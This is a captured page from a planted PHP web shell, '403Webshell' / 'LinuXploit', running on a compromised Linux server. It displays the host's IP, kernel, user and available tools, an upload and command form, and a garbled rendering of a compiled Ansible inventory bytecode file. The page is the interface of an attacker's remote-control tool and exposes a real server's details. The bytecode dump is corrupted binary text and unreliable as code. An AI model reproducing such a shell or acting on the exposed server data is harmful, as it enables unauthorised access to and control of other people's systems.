403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /lib/python3.11/site-packages/ansible/inventory/__pycache__/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /lib/python3.11/site-packages/ansible/inventory/__pycache__/data.cpython-311.opt-1.pyc
�

���c�)���ddlmZmZmZeZddlZddlmZ	ddl
mZddlm
Z
ddlmZddlmZddlmZdd	lmZdd
lmZe��ZGd�de��ZdS)
�)�absolute_import�division�print_functionN)�	constants)�AnsibleError)�Group)�Host)�string_types)�Display)�combine_vars)�basedirc�b�eZdZdZd�Zd�Zd�Zd�Zd�Zd�Z	d�Z
d	�Zdd�Zd�Z
d
�Zd�Zd�Zd
S)�
InventoryDataz�
    Holds inventory data (host and group objects).
    Using it's methods should guarantee expected relationships and data.
    c��i|_i|_i|_d|_d|_g|_dD]}|�|���|�dd��dS)N)�all�	ungroupedrr)�groups�hosts�_groups_dict_cache�	localhost�current_source�processed_sources�	add_group�	add_child)�self�groups  �;/usr/lib/python3.11/site-packages/ansible/inventory/data.py�__init__zInventoryData.__init__*ss�������
�#%������"���!#���*�	"�	"�E��N�N�5�!�!�!�!����u�k�*�*�*�*�*�c�V�d|_|j|j|j|j|jd�}|S)N)rr�local�sourcer)rrrrrr�r�datas  r�	serializezInventoryData.serialize=s8��"&����k��Z��^��)�!%�!7�
�
���rc��i|_|�d��|_|�d��|_|�d��|_|�d��|_|�d��|_dS)Nrrr!r"r)r�getrrrrrr#s  r�deserializezInventoryData.deserializeHsr��"$����X�X�g�&�&��
��h�h�x�(�(������'�*�*���"�h�h�x�0�0���!%���*=�!>�!>����rc��|jr|j}nzt|��}d|_d|_tj}|sd}t�d��|�d|��|�dd��||_|S)Nz	127.0.0.1Tz/usr/bin/pythonz�Unable to determine python interpreter from sys.executable. Using /usr/bin/python default. You can correct this by setting ansible_python_interpreter for localhost�ansible_python_interpreter�ansible_connectionr!)	rr	�address�implicit�sys�
executable�display�warning�set_variable)r�pattern�new_host�	py_interps    r�_create_implicit_localhostz(InventoryData._create_implicit_localhostPs����>�	&��~�H�H��G�}�}�H�*�H�� $�H����I��
l�-�	����!k�l�l�l��!�!�">�	�J�J�J��!�!�"6��@�@�@�%�D�N��rc�h�t�d��d|_t��}|jD]c}|j|}|�|j��|jdkr/|���s|�d|j���dt��}|j	�
��D�]2}|�|j��|���}|jd|vrht|���t|jd|jdg����r |jd�
|��nL|jsEt|��}|dks|dkr*|jd|vr|�d|j��|jr7t!|jd���|j��|_��4|�|��D]}t�d|z��� i|_dS)z1 Ensure inventory basic rules, run after updates z(Reconcile groups and hosts in inventory.Nrrr�z,Found both group and host with same name: %s)r0�debugr�setr�add�name�
get_ancestorsrr�values�
get_groups�
difference�remove_hostr-�lenr�get_vars�vars�intersectionr1r)	r�group_names�gr�
host_names�host�mygroups�length�conflicts	         r�reconcile_inventoryz!InventoryData.reconcile_inventoryhs��	�
�
�@�A�A�A�"����e�e����	2�	2�A��K��N�E��O�O�E�J�'�'�'��z�U�"�"�5�+>�+>�+@�+@�"����u�e�j�1�1�1���U�U�
��J�%�%�'�'�	S�	S�D��N�N�4�9�%�%�%����(�(�H��{�;�'�8�3�3��x�=�=�+�+�C���U�1C�T�[�Q\�E]�0^�,_�,_�`�`�?��K��,�8�8��>�>�>���]�
;��X�����Q�;�;�6�Q�;�;�4�;�u�3E��3Q�3Q��N�N�;��	�:�:�:��}�
S�(���U�);�)D�)D�)F�)F��	�R�R��	��$�0�0��<�<�	W�	W�H��O�O�J�X�U�V�V�V�V�"$����rc��|j�|d��}|�#|tjvr|�|��}|S)z; fetch host object using name deal with implicit localhost N)rr'�C�	LOCALHOSTr6)r�hostname�
matching_hosts   r�get_hostzInventoryData.get_host�sF���
���x��6�6�
�� �X���%<�%<� �;�;�H�E�E�M��rc��|r�t|t��s"tdt|���d|�����||jvrXt|��}|j|jvr3||j|j<i|_t�	d|z��|j}n0t�	d|z��ntd|z���|S)zM adds a group to inventory if not there already, returns named actually used z7Invalid group name supplied, expected a string but got � for zAdded group %s to inventoryzgroup %s already in inventoryz+Invalid empty/false group name provided: %s)
�
isinstancer
r�typerrr<rr0r9)rrrGs   rrzInventoryData.add_group�s����
	V��e�\�2�2�
~�"�l�im�ns�it�it�it�it�v{�v{�#|�}�}�}��D�K�'�'��%�L�L���6���,�,�*+�D�K���'�.0�D�+��M�M�"?�%�"G�H�H�H������
�
�=��E�F�F�F�F��L�u�T�U�U�U��rc���||jvr,|j|=t�d|z��i|_|jD]$}|j|}|�|���%dS)NzRemoved group %s from inventory)rr0r9rr�remove_group)rrrI�hs    rrYzInventoryData.remove_group�su���D�K�����E�"��M�M�;�e�C�D�D�D�&(�D�#��J�	"�	"�D��
�4� �A�
�N�N�5�!�!�!�!�	"�	"rNc���|�r�t|t��s"tdt|���d|�����d}|r)||jvr|j|}ntd|z���||jv�r"t
||��}||j|<|jrF|�|d|j��|�|dt|j����n.|�|dd��|�|dd��t�d|z��|tj
vra|j�0|j||_t�d|z��n8t�d	|�d
|jj����n
|j|}|r<|�|��i|_t�d|�d|����ntd
|z���|S)zD adds a host to inventory and possibly a group if not there already z6Invalid host name supplied, expected a string but got rUNz$Could not find group %s in inventory�inventory_file�
inventory_dirzAdded host %s to inventoryzSet default localhost to %sz,A duplicate localhost-like entry was found (z). First found localhost was zAdded host z
 to group z$Invalid empty host name provided: %s)rVr
rrWrrr	rr2r
r0r9rOrPr�vvvvr1r<�add_hostr)rrIr�portrGrZs      rr_zInventoryData.add_host�s4���&	N��d�L�1�1�
{�"�l�hl�mq�hr�hr�hr�hr�tx�tx�#y�z�z�z��A��
W��D�K�'�'���E�*�A�A�&�'M�PU�'U�V�V�V��4�:�%�%���t�$�$��#$��
�4� ��&�C��%�%�d�,<�d�>Q�R�R�R��%�%�d�O�W�T�EX�=Y�=Y�Z�Z�Z�Z��%�%�d�,<�d�C�C�C��%�%�d�O�T�B�B�B��
�
�:�d�C�D�D�D��1�;�&�&��~�-�)-��D�)9������%B�Q�%F�G�G�G�G�����{|�{|�{|�C�M�R�R�)S�T�T�T���J�t�$���
K��
�
�1�
�
�
�*,��'��
�
�
�T�T�T�5�5�I�J�J�J���E��L�M�M�M��rc��|j|jvr
|j|j=|jD]$}|j|}|�|���%dS)N)r<rrrA)rrIrrGs    rrAzInventoryData.remove_host�sY���9��
�"�"��
�4�9�%��[�	 �	 �E���E�"�A�
�M�M�$�����	 �	 rc���||jvr|j|}n)||jvr|j|}ntd|z���|�||��t�d|�d|����dS)z) sets a variable for an inventory object z)Could not identify group or host named %szset rUN)rrrr2r0r9)r�entity�varname�value�
inv_objects     rr2zInventoryData.set_variable�s����T�[� � ���V�,�J�J�
�t�z�
!�
!���F�+�J�J��J�V�S�T�T�T������/�/�/��
�
�
����&�&�9�:�:�:�:�:rc�v�d}||jvr�|j|}||jvr!|�|j|��}n<||jvr!|�|j|��}nt	d|z���i|_t�d|�d|����nt	d|z���|S)z Add host or group to group Fz %s is not a known host nor groupzGroup z now contains z%s is not a known group)r�add_child_grouprr_rrr0r9)rr�child�addedrGs     rrzInventoryData.add_childs������D�K�����E�"�A����#�#��)�)�$�+�e�*<�=�=����$�*�$�$��
�
�4�:�e�#4�5�5���"�#E��#M�N�N�N�&(�D�#��M�M�M����u�u�E�F�F�F�F��8�5�@�A�A�A��rc��|jsE|j���D]+\}}d�|���D��|j|<�,|jS)z�
        We merge a 'magic' var 'groups' with group name keys and hostname list values into every host variable set. Cache for speed.
        c��g|]	}|j��
S�)r<)�.0rZs  r�
<listcomp>z1InventoryData.get_groups_dict.<locals>.<listcomp>s��6Y�6Y�6Y�!�q�v�6Y�6Y�6Yr)rr�items�	get_hosts)r�
group_namers   r�get_groups_dictzInventoryData.get_groups_dictse���&�	Z�'+�{�'8�'8�':�':�
Z�
Z�#��U�6Y�6Y�u���GX�GX�6Y�6Y�6Y��'�
�3�3��&�&r)NN)�__name__�
__module__�__qualname__�__doc__rr%r(r6rMrSrrYr_rAr2rrsrmrrrr$s���������
+�+�+�&	�	�	�?�?�?����0*%�*%�*%�X
�
�
����(	"�	"�	"�+�+�+�+�Z � � �;�;�;����"'�'�'�'�'rr)�
__future__rrrrW�
__metaclass__r.�ansiblerrO�ansible.errorsr�ansible.inventory.groupr�ansible.inventory.hostr	�ansible.module_utils.sixr
�ansible.utils.displayr�ansible.utils.varsr�ansible.utils.pathr
r0�objectrrmrr�<module>r�s
��&C�B�B�B�B�B�B�B�B�B��
�
�
�
�
�"�"�"�"�"�"�'�'�'�'�'�'�)�)�)�)�)�)�'�'�'�'�'�'�1�1�1�1�1�1�)�)�)�)�)�)�+�+�+�+�+�+�&�&�&�&�&�&�
�'�)�)��w'�w'�w'�w'�w'�F�w'�w'�w'�w'�w'r

Youez - 2016 - github.com/yon3zu
LinuXploit